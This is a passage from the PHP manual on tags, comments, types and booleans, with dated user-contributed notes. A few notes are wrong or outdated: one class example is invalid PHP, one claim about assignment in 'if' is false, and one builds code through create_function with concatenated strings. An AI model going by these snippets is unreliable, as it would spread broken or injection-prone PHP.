Content-Disposition: attachment; filename=\"__FILE__\";

__FILE__ can't have spaces or :

Regards
01karlo at gmail dot com 25-Jun-2005 08:44
Or, use the following:

<?php
$xml=rawurldecode('%3C%3Fxml%20version%3D%221.0%22%3F%3E');
echo($xml);
?>

What is does it the value of the variable $xml is the RAW Url Encoded version of the XML thing.
Then it decodes it and echo it to the visitor.
p o r g e s at the gmail dot com server 01-Apr-2005 08:02
mike at skew dot org, I believe the differentiation is that "x"-"m"-"l" as a PI target is explicitly excluded from the definition of processing instructions.
Lachlan Hunt 28-Mar-2005 09:06
The person that suggested the use of this meta element above is wrong:

<meta http-equiv="Content-Type" content="application/xml+xhtml; charset=UTF-8" />

That meta element and the XML declaration serve completely different purposes, and that meta element should not be used.  Such information should be set using the HTTP Content-Type header (see the header() function).

Any XHTML page that just uses that meta element without proper HTTP Content-Type header, will be processed as text/html by browsers regardless, and when the HTTP headers do serve as application/xhtml+xml (or other XML MIME type), that charset parameter in the meta element will be ignored.
mike at skew dot org 21-Oct-2004 04:53
mart3862 mentions "XML processing instructions" and quotes their syntax from the spec, but is mistaken in using

<?xml version="1.0" ...?>

as an example. This little bit of markup that appears at the beginning of an XML file is in fact not a processing instruction at all; it is an "XML declaration" -- or, if it appears in an entity other than the main document, a "text declaration". All three constructs are formatted slightly differently, although they all do begin and end with the same.

The difference between a processing instruction, an XML declaration, or a text declaration is more than just a matter of subtle differences in syntax, though. A processing instruction embodies exactly two opaque, author-defined pieces of information (a 'target' and an 'instruction') that are considered to be part of the document's logical structure and that are thus made available to an application by the XML parser. An XML or text declaration, on the other hand, contains one to three specific pieces of information (version, encoding, standalone status), each with a well-defined meaning. This info provides cues to the parser to help it know how to read the file; it is not considered part of the document's logical structure and is not made available to the application.
stooges_cubed at racerx dot net 20-Oct-2004 01:13
In the note above about escaping XML/PHP style <?xml tags, the following code was used:

<?php  // Html safe containers

   echo <<<EOD
<?xml version="1.0"?>
...all sorts of XML goes here...
Nothing will affect the output of this code until:
EOD;
?>

EOD is just an example stop/start name.

This works too:

<?php  // Html safe containers

  $myOutput = <<<MYHTMLSAFEOUTPUT
<?xml version="1.0"?>
<html>
  <title>PHP Example</title>
  <body>
   <p>...all sorts goes here...</p>
  </body>
</html>
MYHTMLSAFEOUTPUT;

echo $myOutput;

?>

Only disadvantage of using this is that all the code highlighting programs I've seen never get it right, making your code look eronous in the majority of viewers.

Another alternative is to keep the XML / HTML in a separate include file and read in when needed. I don't know how efficient/inefficient this is for (idiots like yourselves) small amounts of text.

xmlheader.txt:
<?xml version="1.0"?>

mypage.php:
<?php
  include("xmlheader.txt");
?>
crtrue at coastal dot edu 30-Apr-2004 11:02
Although you can use the above methods to pass a document off as a valid for the W3C parser, a simpler-and-perfectly-legal method of doing so is to simple declare the document type in a meta tag. Something along these lines (mind the values in 'content' - I haven't personally used the Content-Type method in awhile):

<meta http-equiv="Content-Type" content="application/xml+xhtml; charset=UTF-8" />

Of course if you're using just XML, and don't use such functions, then the above methods will work just as fine.
mart3862 at yahoo dot com dot au 18-Apr-2004 09:29
Now the ultimate truth on how you should output xml processing instructions:

There have been several posts suggesting ways to include the text <?xml version="1.0" encoding="utf-8"?> in your output when short_tags is turned on, but only the following should be used:

<?php echo '<?xml version="1.0" ?'.'>' ?>
or
<?php echo "<?xml version=\"1.0\"\x3F>" ?>

Using one of these methods, and not making use of short tags, means your source code will also be a valid XML document, which allows you to do many things with it such as validation, XSLT translations, etc, as well as allowing your text editor to parse your code for syntax colouring.  Every PHP tag will simply be interpreted as an XML processing instruction (commonly referred to as PI).

The reason why all the other suggested methods are not advisable is because they contain the characters ?> inside the PHP tag, which the XML parser will interpret as the end of the processing instruction.

A processing instruction is defined in XML as:

PI ::= '<?' PITarget (S (Char* - (Char* '?>' Char*)))? '?>'

In other words, it explicitly forbids the characters ?> to occur together within a processing instruction, unless they are delimiting the end of the tag.  It also requires a PITarget (an identifier starting with a letter) immediately after the initial start delimiter, which means that all short tag formats are also invalid XML.

Following these guidelines will result in code that is portable to servers with any configuration and allow you perform many useful tasks on your XML or XHTML source documents.  Even if you do not intend to validate or translate your source documents, and you can ignore some incorrect syntax colouring in your text editor, it is still best to get into good habits early.
Anon 21-Feb-2004 06:05
Yet another way of adding the XML processing instruction is to use:

<?php echo '<?xml version="1.0" ?'.'>' ?>

Because the ? and > are separated, the parser will not terminate before it is supposed to.

As a side note, the W3C's parser seems to recognise this method (assuming it even checks for the PI).
TarquinWJ 06-Feb-2004 06:54
Not spotted any messages like this one - delete it if there was one.

My hosting service allows <? and ?>, but I like to use valid XHTML, so I came up with this simple solution:

It is possible to use the short tags <? ?> with XHTML or XML documents. The only problem is that X(HT)ML requires a declaration using <? and ?>

<?xml version="1.0" encoding="UTF-8"?>

To avoid the problem, simply replace <? with <<? ?>?
and ?> with ?<? ?>>

<<? ?>?xml version="1.0" encoding="UTF-8"?<? ?>>

This inserts a blank piece of PHP in between the < and ?, and when parsed will output the regular tag
<?xml version="1.0" encoding="UTF-8"?>
mwild at iee dot NO_SP_AM dot org 19-Dec-2003 05:12
The text between <script> and </script> in XHTML is PCDATA, so <  and & characters in it should be interpreted as markup. This is a bit limiting for PHP, which is often used to output tags, though you can of course use &lt; and &amp; instead. To avoid that, which makes your code look peculiar and is easy to forget to do, you can mark the PHP as CDATA, eg :

<script language="PHP">
//<![CDATA[
echo('Today is <b>'.date('l F jS').'</b>');
//]]>
</script>

If you don't do this, and your code contains < or &, it should be rejected by an XHTML validator.
johnbeech at (not saying) mkv25 dot net 07-Dec-2003 04:42
In the note above about escaping XML/PHP style <?xml tags, the following code was used:

<?php  // Html safe containers

   echo <<<EOD
<?xml version="1.0"?>
...all sorts of XML goes here...
Nothing will affect the output of this code until:
   EOD;
?>

EOD is just an example stop/start name.

This works too:

<?php  // Html safe containers

  $myOutput = <<<MYHTMLSAFEOUTPUT
<?xml version="1.0"?>
<html>
  <title>PHP Example</title>
  <body>
    <p>...all sorts goes here...</p>
  </body>
</html>
MYHTMLSAFEOUTPUT;

echo $myOutput;

?>

Only disadvantage of using this is that all the code highlighting programs I've seen never get it right, making your code look eronous in the majority of viewers.

Another alternative is to keep the XML / HTML in a separate include file and read in when needed. I don't know how efficient/inefficient this is for small amounts of text.

xmlheader.txt:
<?xml version="1.0"?>

mypage.php:
<?php
  include("xmlheader.txt");
?>
dave at [nospam] dot netready dot biz 18-Mar-2002 04:21
A little "feature" of PHP I've discovered is that the <?PHP token requires a space after it whereas after the <? and <% tokens a space is optional.

The error message you get if you miss the space is not too helpful so be warned!

(These examples only give a warning with error_reporting(E_ALL) )

<?PHP/*<Some HTML>*/?> fails...
<?/*<Some HTML>*/?> works...
mrtidy at mail dot com 12-Dec-2001 12:36
[Ed Note:
This is because of short_tags, <?xml turns php parsing on, because of the <?.
--irc-html@php.net]

I am moving my site to XHTML and I ran into trouble with the <?xml ?> interfering with the <?php ?> method of escaping for HTML.  A quick check of the mailing list confirmed that the current preferred method to cleanly output the <?xml ?> line is to echo it:<br>
<?php echo("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); ?>
Language Reference
Escaping from HTML
Language Reference


Escaping from HTML

When PHP parses a file, it looks for opening and closing tags, which tell PHP to start and stop interpreting the code between them. Parsing in this manner allows PHP to be embedded in all sorts of different documents, as everything outside of a pair of opening and closing tags is ignored by the PHP parser. Most of the time you will see PHP embedded in HTML documents, as in this example.

<p>This is going to be ignored.</p>
<?php echo 'While this is going to be parsed.'; ?>
<p>This will also be ignored.</p>

You can also use more advanced structures:

Example #1 Advanced escaping

<?php
if ($expression) {
    ?>
    <strong>This is true.</strong>
    <?php
} else {
    ?>
    <strong>This is false.</strong>
    <?php
}
?>
This works as expected, because when PHP hits the ?> closing tags, it simply starts outputting whatever it finds (except for an immediately following newline - see instruction separation ) until it hits another opening tag. The example given here is contrived, of course, but for outputting large blocks of text, dropping out of PHP parsing mode is generally more efficient than sending all of the text through echo() or print().

There are four different pairs of opening and closing tags which can be used in PHP. Two of those, <?php ?> and <script language="php"> </script>, are always available. The other two are short tags and ASP style tags, and can be turned on and off from the php.ini configuration file. As such, while some people find short tags and ASP style tags convenient, they are less portable, and generally not recommended.

Note:

Also note that if you are embedding PHP within XML or XHTML you will need to use the <?php ?> tags to remain compliant with standards.

Example #2 PHP Opening and Closing Tags

1.  <?php echo 'if you want to serve XHTML or XML documents, do it like this'; ?>

2.  <script language="php">
        echo 'some editors (like FrontPage) don\'t
              like processing instructions';
    </script>

3.  <? echo 'this is the simplest, an SGML processing instruction'; ?>
    <?= expression ?> This is a shortcut for "<? echo expression ?>"

4.  <% echo 'You may optionally use ASP-style tags'; %>
    <%= $variable; # This is a shortcut for "<% echo . . ." %>

While the tags seen in examples one and two are both always available, example one is the most commonly used, and recommended, of the two.

Short tags (example three) are only available when they are enabled via the short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option.

ASP style tags (example four) are only available when they are enabled via the asp_tags php.ini configuration file directive.

Note:

Using short tags should be avoided when developing applications or libraries that are meant for redistribution, or deployment on PHP servers which are not under your control, because short tags may not be supported on the target server. For portable, redistributable code, be sure not to use short tags.

Note:

In PHP 5.2 and earlier, the parser does not allow the <?php opening tag to be the only thing in a file. This is allowed as of PHP 5.3.

Note:

Starting with PHP 5.4, short echo tag <?= is always recognized and valid, regardless of the short_open_tag setting.

User Contributed Notes

mike at clove dot com 30-Nov-2010 10:30
It's possible to write code to create php escapes which can be processed later by substituting \x3f for '?' - as in echo "<\x3fphp echo 'foo'; \x3f>";

This is useful for creating a template parser which later is rendered by PHP.
quickfur at quickfur dot ath dot cx 26-Jul-2010 02:40
When the documentation says that the PHP parser ignores everything outside the <?php ... ?> tags, it means literally EVERYTHING. Including things you normally wouldn't consider "valid", such as the following:

<html><body>
<p<?php if ($highlight): ?> class="highlight"<?php endif;?>>This is a paragraph.</p>
</body></html>

Notice how the PHP code is embedded in the middle of an HTML opening tag. The PHP parser doesn't care that it's in the middle of an opening tag, and doesn't require that it be closed. It also doesn't care that after the closing ?> tag is the end of the HTML opening tag. So, if $highlight is true, then the output will be:

<html><body>
<p class="highlight">This is a paragraph.</p>
</body></html>

Otherwise, it will be:

<html><body>
<p>This is a paragraph.</p>
</body></html>

Using this method, you can have HTML tags with optional attributes, depending on some PHP condition. Extremely flexible and useful!
snor_007 at hotmail dot com 01-Apr-2010 04:28
Playing around with different open and close tags I discovered you can actually mix different style open/close tags

some examples

<%
//your php code here
?>

or

<script language="php">
//php code here
%>
ravenswd at gmail dot com 01-Aug-2009 05:08
One aspect of PHP that you need to be careful of, is that ?> will drop you out of PHP code and into HTML even if it appears inside a // comment. (This does not apply to /* */ comments.) This can lead to unexpected results. For example, take this line:

<?php
  $file_contents  = '<?php die(); ?>' . "\n";
?>

If you try to remove it by turning it into a comment, you get this:

<?php
//  $file_contents  = '<?php die(); ?>' . "\n";
?>

Which results in ' . "\n"; (and whatever is in the lines following it) to be output to your HTML page.

The cure is to either comment it out using /* */ tags, or re-write the line as:

<?php
  $file_contents  = '<' . '?php die(); ?' . '>' . "\n";
?>
eksith at live dot com 01-Jul-2009 11:56
Even if it's pretty simple to insert echo lines to your PHP, I would storngly advise against it.

The safest way to output  HTML content which may have special chraracters is to remove the HTML from your core code.

Put them in heredocs instead.

See the heredoc documentation and comments for more examples.

If you can remove as much of the HTML as you can from the rest of the PHP code (in terms of printf and echo lines), please do.

Try to keep your core logic and presentation separate.

<?php
$html =<<<HTML
<?xml version="1.0" encoding="UTF-8" ?>

... The rest of your HTML...

And a PHP {$variable} here and an array {$arr['value']} there.

HTML; // End of heredoc

// Print this HTML
echo $html
?>
Richard Neill 03-Apr-2009 07:26
WARNING: there is a potentially *nasty* gotcha here. Consider the following:

<html><body><pre>
First line  <?/* Comment, inside PHP */?>
Second line
</pre></body></html>

If the comment is immediately followed by newline (and most editors will trim spaces at the ends of lines anyway), then you will NOT get what you expect.

Expect:
  First line
  Second Line

Actually get:
  First line  Second line

Now, if you are relying on that newline, for example to terminate a line of Javascript, where the trailing semicolon is optional, watch out!
david dot jarry at gmail dot com 26-Mar-2009 03:40
Shorts tags and ASP tags are unportables and should be avoided.

<script /> tags are a waste of time and simply inefficient in some simple cases :
<body>
  <p style="color: <script language="php"> echo $text_color </script>;">
  (...) VERY long text (...)
  </p>
</body>
To render this example in a basic XHTML editor, you need to "echo()" all the content or break the XML rules.

The solution seems obvious to me : Why not add the shortcut "<?php= ?>" to be used within XML and XHTML documents ?
<?php='example1'?>
<?php=$example2?>
phpcoder at cyberpimp dot awmail dot org 09-Jan-2009 11:14
Some graphical HTML editors (and most web browsers) don't explicitly recognize the <?php ?> tags.  When opening a PHP file with a graphical HTML editor to design the page layout, chunks of PHP code can appear as literal text if the PHP code contains a greater-than symbol (>).

Example:

<html>
<body>
Unsafe-<?php
    if (4>3) {
        echo "PHP-";
    }
?>embedding
</body>
</html>

When executed, it should display this:

Unsafe-PHP-embedding

However, when opened with an HTML editor, the on-screen result might look like this:

Unsafe-3) { echo "PHP-"; } ?>embedding

...and further, the PHP code after the great-than operator (>) is at risk of being corrupted by the HTML editor's text formatting algorithms.

PHP code with greater-than symbols can be safely embedded into HTML by surrounding it with a pair of HTML-style comment delimiters + fake HTML end & start stags, as PHP-style comments.

Example:

<html>
<body>
Safe-<?php
/*><!--*/
    if (4>3) {
        echo "PHP-";
    }
/*--><?*/
?>embedding
</body>
</html>

When executed, it should display this:

Safe-PHP-embedding

And when opened with an HTML editor (or even opened directly with a web browser), it should display this:

Safe-embedding

An HTML editor will see the surrounded PHP code as an HTML comment, and (hopefully) leave it as-is.

Finally, any PHP code with a hard-coded string containing the HTML end-of-comment delimiter (-->) should be reconstructed to be syntactically identical, while avoiding the literal "-->" sequence in the PHP code.

For example, this:

<?php
/*><!--*/
    $a = "-->";
/*--><?*/
?>

...can safely be changed to any of these:

<?php
/*><!--*/
    $a = "\55->";
/*--><?*/
?>

<?php
/*><!--*/
    $a = "--\76";
/*--><?*/
?>

<?php
/*><!--*/
    $a = '--'.'>';
/*--><?*/
?>
admin at furutsuzeru dot net 02-Jan-2009 08:50
These methods are just messy. Short-opening tags and ASP-styled tags are not always enabled on servers. The <script language="php"></script> alternative is just out there. You should just use the traditional tag opening:

<?php?>

Coding islands, for example:

<?php
$me =  'Pyornide';
?>
<?=$me;?> is happy.
<?php
$me = strtoupper($me);
?>
<?=$me;?> is happier.

Lead to something along the lines of messy code. Writing your application like this can just prove to be more of an
inconvenience when it comes to maintenance.

If you have to deal chunks of HTML, then consider having a templating system do the job for you. It is a poor idea to rely on the coding islands method as a template system in any way, and for reasons listed above.
Basic syntax
Instruction separation
Basic syntax


Instruction separation

As in C or Perl, PHP requires instructions to be terminated with a semicolon at the end of each statement. The closing tag of a block of PHP code automatically implies a semicolon; you do not need to have a semicolon terminating the last line of a PHP block. The closing tag for the block will include the immediately trailing newline if one is present.

<?php
    echo 'This is a test';
?>

<?php echo 'This is a test' ?>

<?php echo 'We omitted the last closing tag';

Note:

The closing tag of a PHP block at the end of a file is optional, and in some cases omitting it is helpful when using include() or require(), so unwanted whitespace will not occur at the end of files, and you will still be able to add headers to the response later. It is also handy if you use output buffering, and would not like to see added unwanted whitespace at the end of the parts generated by the included files.

User Contributed Notes

pbarney 17-Nov-2011 04:13
If you want to keep the newline after a closing tag in the output, just add a space after the closing tag, and the newline will not be ignored.
Darabos, Edvrd Konrd 19-Aug-2008 03:58
One newline character (or sequence) is dropped out by the parser after "?>", so you can add the beloved "final newline" to your file after "?>"

Example for plain text outputs:

<? foreach($array as $elem){ ?>
Value: <?=$elem?>

<? } ?>

(You have to add an extra enter after <?=$elem?> if you want to see a newline in the output.
james dot d dot noyes at lmco dot com 05-May-2008 11:42
If you are embedding this in XML, you had better place the ending '?>' there or the XML parser will puke on you.  XML parsers do not like processing instructions without end tags, regardless of what PHP does.

If you're doing HTML like 90% of the world, or if you are going to process/interpret the PHP before the XML parser ever sees it, then you can likely get away with it, but it's still not best practice for XML.
Krishna Srikanth 17-Aug-2006 04:44
Do not mis interpret

<?php echo 'Ending tag excluded';

with

<?php echo 'Ending tag excluded';
<p>But html is still visible</p>

The second one would give error. Exclude ?> if you no more html to write after the code.
Escaping from HTML
Comments
Basic syntax


Comments

PHP supports 'C', 'C++' and Unix shell-style (Perl style) comments. For example:

<?php
    echo 'This is a test'; // This is a one-line c++ style comment
    /* This is a multi line comment
       yet another line of comment */
    echo 'This is yet another test';
    echo 'One Final Test'; # This is a one-line shell-style comment
?>

The "one-line" comment styles only comment to the end of the line or the current block of PHP code, whichever comes first. This means that HTML code after // ... ?> or # ... ?> WILL be printed: ?> breaks out of PHP mode and returns to HTML mode, and // or # cannot influence that. If the asp_tags configuration directive is enabled, it behaves the same with // %> and # %>. However, the </script> tag doesn't break out of PHP mode in a one-line comment.

<h1>This is an <?php # echo 'simple';?> example</h1>
<p>The header above will say 'This is an  example'.</p>

'C' style comments end at the first */ encountered. Make sure you don't nest 'C' style comments. It is easy to make this mistake if you are trying to comment out a large block of code.

<?php
 /*
    echo 'This is a test'; /* This comment will cause a problem */
 */
?>

User Contributed Notes

team at researchbib dot com 13-Sep-2011 07:25
when the comment string contains '?>', you should be careful.

e.g. output code 1= code 2 is different with code 3
1. with //
<?php

// echo '<?php ?>';

?>

2. with #

<?php

// echo '<?php ?>';

?>

3. with /* */

<?php

/* echo '<?php ?>';*/

?>
philip-php at dago dot yourweb dot de 05-Mar-2011 10:29
It's true, comments do not take up PROCESSING time, but they do take some PARSING time in case you are not using a compile cache of some kind.
jballard at natoga dot com 15-Dec-2010 02:28
Comments do NOT take up processing power.

So, for all the people who argue that comments are undesired because they take up processing power now have no reason to comment ;)

<?php

// Control
echo microtime(), "<br />"; // 0.25163600 1292450508
echo microtime(), "<br />"; // 0.25186000 1292450508

// Test
echo microtime(), "<br />"; // 0.25189700 1292450508
# TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST
# .. Above comment repeated 18809 times ..
echo microtime(), "<br />"; // 0.25192100 1292450508

?>

They take up about the same amount of time (about meaning on a repeated testing, sometimes the difference between the control and the test was negative and sometimes positive).
benny at bennyborn dot de 08-Dec-2010 03:16
This regex should do the job when trying to parse comments

(\/\*(.*?)\*\/)|(^|\s+)\/\/(.*?)(\n|$)|(^|\s+)#(.*?)(\n|$)
Wolfsbay at ya dot ru 12-May-2010 02:10
If you are using editor with code highlight, it’s much easier to notice error like /* */ */.
theblazingangel at aol dot com 28-Aug-2007 03:55
it's perhaps not obvious to some, but the following code will cause a parse error! the ?> in //?> is not treated as commented text, this is a result of having to handle code on one line such as <?php echo 'something'; //comment ?>

<?php
if(1==1)
{
    //?>
}
?>

i discovered this "anomally" when i commented out a line of code containing a regex which itself contained ?>, with the // style comment.
e.g. //preg_match('/^(?>c|b)at$/', 'cat', $matches);
will cause an error while commented! using /**/ style comments provides a solution. i don't know about # style comments, i don't ever personally use them.
fun at nybbles dot com 13-Jul-2006 10:28
a trick I have used in all languages to temporarily block out large sections (usually for test/debug/new-feature purposes), is to set (or define) a var at the top, and use that to conditionally comment the blocks; an added benefit over if(0) (samuli's comment from nov'05) is that u can have several versions or tests running at once, and u dont require cleanup later if u want to keep the blocks in:  just reset the var.

personally, I use this more to conditionally include code for new feature testing, than to block it out,,,, but hey, to each their own :)

this is also the only safe way I know of to easily nest comments in any language, and great for multi-file use, if the conditional variables are placed in an include :)

for example, placed at top of file:

<?php $ver3 = TRUE;
       $debug2 = FALSE;
?>

and then deeper inside the file:

<?php if ($ver3) {
           print("This code is included since we are testing version 3");
         }
?>

<?php if ($debug2) {
           print("This code is 'commented' out");
         }
?>
mst_NO_SPAM_TO_ME at mstsoft dot com 05-Jun-2006 05:38
This "comment ends on line break or end of PHP Block" thing can be confusing. I discovered this by accident when working with XML Output from PHP...

<?PHP

header("Content-type: text/xml");

/*
echo "<?xml version=\"1.0\"?>";
echo "<page>multi-line comments work as expected.</page>";
*/

//echo "<?xml version=\"1.0\"?>";
//echo "<page>single-line comments end php mode and output your code.</page>";

?>

I would expect the comment to work, but there is no parsing in comments so the String suddenly becomes a PHP  end-block tag, which is correct reading this documentation.

cheers,
martin
PS: You even see the behavior in the Syntax highlighting :-)
J Lee 25-May-2006 11:39
MSpreij (8-May-2005) says  /* .. */ overrides //
Anonymous (26-Jan-2006) says // overrides /* .. */

Actually, both are correct. Once a comment is opened, *everything* is ignored until the end of the comment (or the end of the php block) is reached.

Thus, if a comment is opened with:
   //  then /* and */ are "overridden" until after end-of-line
   /*  then // is "overridden" until after */
21-Jan-2006 01:46
M Spreij wrote, 08-May-2005 08:15...
A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles:
...
This works because a /* .. */ overrides //.

The final sentence should be the other way round, i.e.

This works because a // overrides /* .. */.
(If it didn't the /* .. */ would comment out the code regardless of whether an additional '/' is prefixed to the first line).
samuli dot karevaara at lamk dot fi 11-Nov-2005 08:30
If you want to comment out large sections of code (temporarily, usually and hopefully), consider using
<?php
if (0) {
     print("This code is 'commented' out");
}
?>
instead of /* comment block */. Otherwise, as noted here, you will have parse errors if the block that you commented out contains */ somewhere, like in regexp or in another comment.
hcderaad at wanadoo dot nl 29-Jun-2005 01:51
Comments in PHP can be used for several purposes, a very interesting one being that you can generate API documentation directly from them by using PHPDocumentor (http://www.phpdoc.org/).

Therefor one has to use a JavaDoc-like comment syntax (conforms to the DocBook DTD), example:
<?php
/**
* The second * here opens the DocBook commentblock, which could later on<br>
* in your development cycle save you a lot of time by preventing you having to rewrite<br>
* major documentation parts to generate some usable form of documentation.
*/
?>
Some basic html-like formatting is supported with this (ie <br> tags) to create something of a layout.
M Spreij 08-May-2005 12:15
A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles:
<?php
//*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>

Now by taking out one / on the first line..

<?php
/*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>
..the block is suddenly commented out.
This works because a /* .. */ overrides //. You can even "flip" two blocks, like this:
<?php
//*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
vs
<?php
/*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
Steve 15-Dec-2004 04:41
Be careful when commenting out regular expressions.

E.g. the following causes a parser error.

I do prefer using # as regexp delimiter anyway so it won't hurt me ;-)

<?php

/*

 $f->setPattern('/^\d.*/');

*/

?>
Instruction separation
Types
Basic syntax


Types

Table of Contents

  • Introduction
  • Booleans
  • Integers
  • Floating point numbers
  • Strings
  • Arrays
  • Objects
  • Resources
  • NULL
  • Pseudo-types and variables used in this documentation
  • Type Juggling

User Contributed Notes

Jeffrey 26-Oct-2008 10:31
The Object (compound) Type

Like every programming language, PHP offers the usual basic primitive types which can hold only one piece of data at a time (scalar). I am particularly fond of the "object" type (compound) because that allows me to group many basic PHP types together, and I can name it anything I want.

<?php
class Person
{
  $firstName;                   // a PHP String
  $middleName;                  // a PHP String
  $lastName;                    // a PHP String
  $age;                         // a PHP Integer
  $hasDriversLicense;           // a PHP Boolean
}
?>

Here, I have grouped several basic PHP types together, (3) Strings, (1) Integer, and (1) Boolean... then I named that group "Person". Since I used the proper syntax to do so, this code is pure PHP, which means that if you run this code, you would have an extra PHP "type" available to you in your scripts, like so:

<?php
$myAge = 16;                    // a PHP Integer - always available
$yourAge = 15.5;                // a PHP Float   - always available
$hasHair = true;                // a PHP Boolean - always available
$greeting = "Hello World!"      // a PHP String  - always available

$person = new Person();         // a PHP Person  - available NOW!
?>

You can make your own object types and have PHP execute it as if it were part of the PHP language itself. See more on classes and objects in this manual at: http://www.php.net/manual/en/language.oop5.php
arjini at gmail dot com 06-Dec-2005 12:32
Note that you can chain type castng:

var_dump((string)(int)false); //string(1) "0"
shahnaz khan 18-Mar-2005 04:40
if we use gettype() before initializinf any variable it give NULL
for eg.

<?php
$foo;
echo gettype($foo);
?>

it will show

NULL
Trizor of www.freedom-uplink.org 29-Jun-2004 06:14
The differance of float and double dates back to a FORTRAN standard. In FORTRAN Variables aren't as loosly written as in PHP and you had to define variable types(OH NOES!). FLOAT or REAL*4 (For all you VAX people out there) defined the variable as a standard precision floating point, with 4 bytes of memory allocated to it. DOUBLE PRECISION or REAL*8 (Again for the VAX) was identical to FLOAT or REAL*4, but with an 8 byte allocation of memory instead of a 4 byte allocation.

In fact most modern variable types date back to FORTRAN, except a string was called a CHARACHTER*N and you had to specify the length, or CHARACHTER*(*) for a variable length string. Boolean was LOGICAL, and there weren't yet objects, and there was support for complex numbers(a+bi).

Of course, most people reading this are web programmers and could care less about the mathematical background of programming.

NOTE: Object support was added to FORTRAN in the FORTRAN90 spec, and expanded with the FORTRAN94 spec, but by then C was the powerful force on the block, and most people who still use FORTRAN use the FORTRAN77.
Comments
Introduction
Language Reference


Introduction

PHP supports eight primitive types.

Four scalar types:

  • boolean
  • integer
  • float (floating-point number, aka double)
  • string

Two compound types:

  • array
  • object

And finally two special types:

  • resource
  • NULL

This manual also introduces some pseudo-types for readability reasons:

  • mixed
  • number
  • callback

And the pseudo-variable $....

Some references to the type "double" may remain in the manual. Consider double the same as float; the two names exist only for historic reasons.

The type of a variable is not usually set by the programmer; rather, it is decided at runtime by PHP depending on the context in which that variable is used.

Note: To check the type and value of an expression, use the var_dump() function.

To get a human-readable representation of a type for debugging, use the gettype() function. To check for a certain type, do not use gettype(), but rather the is_type functions. Some examples:

<?php
$a_bool = TRUE;   // a boolean
$a_str  = "foo";  // a string
$a_str2 = 'foo';  // a string
$an_int = 12;     // an integer

echo gettype($a_bool); // prints out:  boolean
echo gettype($a_str);  // prints out:  string

// If this is an integer, increment it by four
if (is_int($an_int)) {
    $an_int += 4;
}

// If $a_bool is a string, print it out
// (does not print out anything)
if (is_string($a_bool)) {
    echo "String: $a_bool";
}
?>

To forcibly convert a variable to a certain type, either cast the variable or use the settype() function on it.

Note that a variable may be evaluated with different values in certain situations, depending on what type it is at the time. For more information, see the section on Type Juggling. The type comparison tables may also be useful, as they show examples of various type-related comparisons.

User Contributed Notes

There are no user contributed notes for this page.
Types
Booleans
Types


Booleans

This is the simplest type. A boolean expresses a truth value. It can be either TRUE or FALSE.

Syntax

To specify a boolean literal, use the keywords TRUE or FALSE. Both are case-insensitive.

<?php
$foo = True; // assign the value TRUE to $foo
?>

Typically, the result of an operator which returns a boolean value is passed on to a control structure.

<?php
// == is an operator which tests
// equality and returns a boolean
if ($action == "show_version") {
    echo "The version is 1.23";
}

// this is not necessary...
if ($show_separators == TRUE) {
    echo "<hr>\n";
}

// ...because this can be used with exactly the same meaning:
if ($show_separators) {
    echo "<hr>\n";
}
?>

Converting to boolean

To explicitly convert a value to boolean, use the (bool) or (boolean) casts. However, in most cases the cast is unnecessary, since a value will be automatically converted if an operator, function or control structure requires a boolean argument.

See also Type Juggling.

When converting to boolean, the following values are considered FALSE:

  • the boolean FALSE itself
  • the integer 0 (zero)
  • the float 0.0 (zero)
  • the empty string, and the string "0"
  • an array with zero elements
  • an object with zero member variables (PHP 4 only)
  • the special type NULL (including unset variables)
  • SimpleXML objects created from empty tags

Every other value is considered TRUE (including any resource).

Warning

-1 is considered TRUE, like any other non-zero (whether negative or positive) number!

<?php
var_dump((bool) "");        // bool(false)
var_dump((bool) 1);         // bool(true)
var_dump((bool) -2);        // bool(true)
var_dump((bool) "foo");     // bool(true)
var_dump((bool) 2.3e5);     // bool(true)
var_dump((bool) array(12)); // bool(true)
var_dump((bool) array());   // bool(false)
var_dump((bool) "false");   // bool(true)
?>

User Contributed Notes

pablo at loop-sistemas dot com dot ar 09-Aug-2011 12:22
altough it may be obvious to some, special value NaN evaluates to true, as it not in the false list

the same goes with INF and -INF
frank at interactinet dot com 02-May-2011 10:15
Be careful when assigning a value in the if statement, for example:

 if($var = $arg)

$var might be assigned "1" instead of the expected value in $arg.

<?php

public function myMethod()
{
return 'test';
}

public function myOtherMethod()
{
return null;
}

if($val = $this->myMethod())
{
 // $val might be 1 instead of the expected 'test'
}

if( ($val = $this->myMethod()) )
{
// now $val should be 'test'
}

// or to check for false
if( !($val = $this->myMethod()) )
{
// this will not run since $val = 'test' and equates to true
}

// this is an easy way to assign default value only if a value is not returned:

if( !($val = $this->myOtherMethod()) )
{
$val = 'default'
}

?>
oscar at oveas dot com 01-Dec-2010 03:17
Dunno if someone else posted this solution already, but if not, here's a useful and function to convert strings to strict booleans.
Note this one only checks for string and defaults to the PHP (boolean) cast where e.g. -1 returns true, but you easily add some elseifs for other datatypes.

<?php
function toStrictBoolean ($_val, $_trueValues = array('yes', 'y', 'true'), $_forceLowercase = true)
{
    if (is_string($_val)) {
        return (in_array(
             ($_forceLowercase?strtolower($_val):$_val)
            , $_trueValues)
        );
    } else {
        return (boolean) $_val;
    }
}
?>
ledadu at gmail dot com 27-Oct-2010 08:56
Function to sort array by elements and count of element (before php 5.3) (not use Lambda Functions, and Closures)

<?php

//-----------------------------

function arraySortByElements($array2sort,$sortField,$order,$iscount=false) {

        $functionString='
        if ('.($iscount?'true':'false').'){
              if(count($a["'.$sortField.'"]) > count($b["'.$sortField.'"])) return 1*'.$order.';
            if(count($a["'.$sortField.'"]) < count($b["'.$sortField.'"])) return -1*'.$order.';
          }else{
            if($a["'.$sortField.'"] > $b["'.$sortField.'"]) return 1*'.$order.';
            if($a["'.$sortField.'"] < $b["'.$sortField.'"]) return -1*'.$order.';
          }
        return 0;';

     usort($array2sort, create_function('$a,$b',$functionString));
     return $array2sort;
}

//-----------------------------

//init Array for testing :
$testArray = array(
          array('name' => 'Lenny', 'note' => 5, 'listId' => array(654,987,32165)),
